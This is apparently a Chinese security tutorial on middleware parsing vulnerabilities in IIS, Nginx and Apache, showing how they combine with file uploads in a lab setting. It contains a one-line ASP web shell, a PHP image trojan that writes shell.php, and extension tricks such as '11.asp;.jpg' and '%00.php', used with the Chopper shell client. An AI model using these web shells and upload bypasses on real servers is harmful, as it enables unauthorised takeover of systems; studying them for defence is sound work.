<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    解析漏洞—中間件

    VSole2022-04-15 12:41:19

    解析漏洞簡介

    解析漏洞是指web服務器因對http請求處理不當導致將非可執行的腳本,文件等當做可執行的腳本,文件等執行。

    該漏洞一般配合服務器的文件上傳功能使用,以獲取服務器的權限。

    解析漏洞

    常見的解析漏洞有以下幾種

    • IIS 5.x/6.0解析漏洞
    • IIS 7.0/IIS 7.5/ 
    • Nginx <0.8.3畸形解析漏洞
    • Nginx <8.03 空字節代碼執行漏洞
    • Apache解析漏洞

    1、IIS 5.x/6.0解析漏洞

    首先,需要找到符合要求的IIS版本,版本號在這區間的IIS,asa、cer 、cdx文件會被當做asp文件執行。

    所以當他禁止上傳asp文件時,可以上傳asa、cer 、cdx文件

    這里我用的是IIS 6.0版本

    文件

    1. html
    <html>
    <head>
      <title>ASP無組件上傳類title>
      <meta http-equiv="content-Type" content="text/html; charset=gb2312">
    head>
    <body>
      <form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
        <input type="file" name="upFile"/>
        <input type="submit" value="上傳文件"/>
      form>
    body>
    html>
    

    aa.asp

    <%@   language="javascript"%> 
    <% 
    var   self   =   Request.serverVariables("SCRIPT_NAME"); 
    if   (Request.serverVariables("REQUEST_METHOD")=="POST") 
    { 
                    var   oo   =   new   uploadFile(); 
                    oo.path   =   "";                                                 //存放路徑,為空表示當前路徑,默認為uploadFile 
                    oo.named   =   "file";                                                 //命名方式,date表示用日期來命名,file表示用文件名本身,默認為file 
                    oo.ext   =   "jpg|gif|cer|asa";                                                                 //允許上傳的擴展名,all表示都允許,默認為all 
                    oo.over   =   true;                                                                 //當存在相同文件名時是否覆蓋,默認為false 
                    oo.size   =   1*1024*1024;                                 //最大字節數限制,默認為1G 
                    oo.upload(); 
                    Response.write('  location.replace("'</span>+<span class="code-snippet__keyword" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">self</span>+<span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">'")  '); 
    } 
     
    //ASP無組件上傳類 
    function   uploadFile() 
    { 
            var   bLen     =   Request.totalBytes; 
            var   bText   =   Request.binaryRead(bLen); 
            var   oo   =   Server.createObject("ADODB.Stream"); 
            oo.mode   =   3; 
                    this.path   =   "uploadFile"; 
                    this.named   =   "file"; 
                    this.ext   =   "jpg|gif|cer|asa"; 
                    this.over   =   false; 
                    this.size   =   1*1024*1024*1024;                 //1GB 
     
                    //文件上傳               
                    this.upload   =   function   () 
    { 
                                    var   o   =   this.getInfo(); 
                                    if   (o.size> this.size) 
                                    { 
                                                    alert("文件過大,不能上傳!"); 
                                                    return;                               
                                    } 
                                    var   f   =   this.getFileName(); 
                                    var   ext   =   f.replace(/^.+\./,""); 
                                    if   (this.ext!="all"&&!new   RegExp(this.ext.replace(/,/g," |"),"ig").test(ext)) 
                                    { 
                                                    alert("目前暫不支持擴展名為   "+ext+"   的文件上傳!"); 
                                                    return; 
                                    } 
                                    if   (this.named=="date") 
                                    { 
                                                    f   =   new   Date().toLocaleString().replace(/\D/g,"")   +   "."   +   ext; 
                                    } 
     
                                    oo.open(); 
                                    oo.type   =   1; 
                                    oo.write(o.bin); 
                                    this.path   =   this.path.replace(/[^\/\\]$/,"$&/"); 
                                    var   fso   =   Server.createObject("Scripting.FileSystemObject"); 
                                    if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path))) 
                                    { 
                                                    fso.createFolder(Server.mapPath(this.path)); 
                                    } 
                                    try 
                                    { 
                                                    oo.saveToFile(Server.mapPath(this.path+f),this.over?2:1); 
                                                    alert("上傳成功!"); 
                                    } 
                                    catch(e) 
                                    { 
                                                    alert("對不起,此文件已存在!"); 
                                    } 
                                    oo.close(); 
                                    delete(oo); 
     
                    } 
     
                    //獲取二進制和文件字節數 
                    this.getInfo   =   function   () 
    { 
                                    oo.open(); 
                                    oo.type=1; 
                                    oo.write(bText); 
                                    oo.position   =   0;                                                               
                                    oo.type=2; 
                                    oo.charset="unicode"; 
                                    var   gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1"); 
                                    var   sPos=gbCode.indexOf("%0D%0A%0D%0A")+12; 
                                    var   sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6; 
                                    oo.close(); 
                   
                                    oo.open(); 
                                    oo.type   =   1;               
                                    oo.write(bText); 
                                    oo.position=sPos/3; 
                                    var   bFile=oo.read(sLength); 
                                    oo.close(); 
                                   
                                    return   {   bin:bFile,   size:sLength   }; 
                    } 
     
                    //獲取文件名               
                    this.getFileName   =   function   () 
    { 
                                    oo.open(); 
                                    oo.type   =   2; 
                                    oo.writeText(bText); 
                                    oo.position   =   0; 
                                    oo.charset   =   "gb2312"; 
                                    var   fileName   =   oo.readText().match(/filename=\"(.+?)\"/i)[1].split("\\").slice(-1)[0]; 
                                    oo.close(); 
                                    return   fileName; 
                    } 
                   
                    function   alert(msg) 
                    { 
                                    Response.write(' "> alert("</span><span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">'+msg+'</span><span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">");  '); 
                    } 
    } 
    %> 
     
     
         ASP無組件上傳類  
        "   content="text/html;   charset=gb2312"> 
     
     
        self%> "   method="post"   enctype="multipart/form-data"   onSubmit="return   (this.upFile.value!='');"> 
            "   name="upFile"/> 
            "   value="上傳文件"/> 
         
     
    

    11.cer

    <%eval request("a")%>
    

    利用方法

    這里上傳一個cer文件

    上傳成功后用菜刀連接,這里腳本類型選擇ASP(eval)

    連接成功

    2、IIS 6.0

    IIS 6.0 有兩個單獨的解析漏洞

    目錄解析

    /xx.asp/xx.jpg

    在網站下名字為 .asp、.asa 的文件夾,其目錄內的任何擴展名的文件都會被IIS當作asp文件來解析并執行。

    例如有個目錄是 abc.asp,那么/abc.asp/1.jpg會被當作asp文件來執行。

    這個漏洞很難遇到:

    首先,得有個網站管理員取個名字為xx.asp的文件夾;然后,你還得有往這個文件夾上傳文件的權限

    文件解析

    11.asp;.jpg

    在IIS6.0下,分號后面的內容不被解析,也就是說

    11.asp;.jpg 會被服務器當做11.asp執行

    所以如果禁止上傳asp文件時,可以上傳一個11.asp;.jpg 文件

    同樣,利用前面的文件,開始上傳

    然后利用菜刀連接

    3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞

    在默認Fast-CGI開啟狀況下,上傳一個名字為bb.jpg的文件,然后訪問bb.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php

    bb.jpg

     fputs(fopen('shell.php','w'),'');?>
    

    然后訪問bb.jpg文件時,在后面加上./php,這個文件就會被當做php文件執行

    因為沒找到合適版本的IIS,nginx,所以這里就不演示了

    4、Nginx <0.8.03 空字節代碼執行漏洞

    影響版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37

    同樣適用上面的圖片馬bb.jpg

    在后面加上%00.php時,bb.jpg會被當做php文件執行


    127.0.0.1/bb.jpg%00.php
    

    5、apache解析漏洞

    說到這個漏洞,就得說兩個消息

    好消息:因為apache官方不承認這是一個漏洞,所以每個版本的apache都會有這個漏洞出現

    壞消息:開發員大都知道且認為這是個漏洞,所以會有一定的防御措施

    apache其余配置問題導致漏洞

    (1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php, 這時只要文件名里包含.php就會以php文件來執行—— 即使文件名是 test.php.jpg ,jpg在右邊,也會以 php 來執行。

    (2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg,一樣會以 php 方式執行。

    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    解析漏洞中間件
    2022-04-15 12:41:19
    解析漏洞簡介解析漏洞是指web服務器因對http請求處理不當導致將非可執行的腳本,文件等當做可執行的腳本,文件等執行。該漏洞一般配合服務器的文件上傳功能使用,以獲取服務器的權限。
    Web安全常見漏洞修復建議
    HW藍隊初級面試總結
    2022-10-12 07:00:02
    一、sql注入原理、分類、繞過原理:產生sql注入漏洞主要因為沒有對接受到的參數進行過濾、驗證和處理直接拼接到了sql語句中,然后直接執行該sql語句,這樣就會導致惡意用戶傳入一些精心構造的sql代碼,與后臺sql語句拼接后形成完整的sql語句執行,達到攻擊者的目的。
    滲透測試面試指南
    2022-05-21 22:11:08
    前言一開始會問問你在工作中負責的是什么工作,參與過哪些項目。還有些會問問你之前有沒有護網的經歷,如果沒有的話一般都會被定到初級。下面就是一些技術上的問題了SQL注入的分類Boolean盲注。正向代理即是客戶端代理, 代理客戶端, 服務端不知道實際發起請求的客戶端.
    面試題記錄
    2021-12-12 06:44:03
    前言一開始會問問你在工作中負責的是什么工作,參與過哪些項目。還有些會問問你之前有沒有護網的經歷,如果沒有的話一般都會被定到初級。下面就是一些技術上的問題了SQL注入的分類Boolean盲注。正向代理即是客戶端代理, 代理客戶端, 服務端不知道實際發起請求的客戶端.
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    都不認識的話默認情況下是plain/text處理。答案是認識的后綴名們都被記錄到一個叫mime.types的文件中了。這里要說的是有些情況下的mime.types沒有提供對php的解析方法,對php的解析規則放在另一個文件,Windows下在/conf/extra/httpd-php.conf。
    避免網站顯示SQL錯誤信息,比如類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类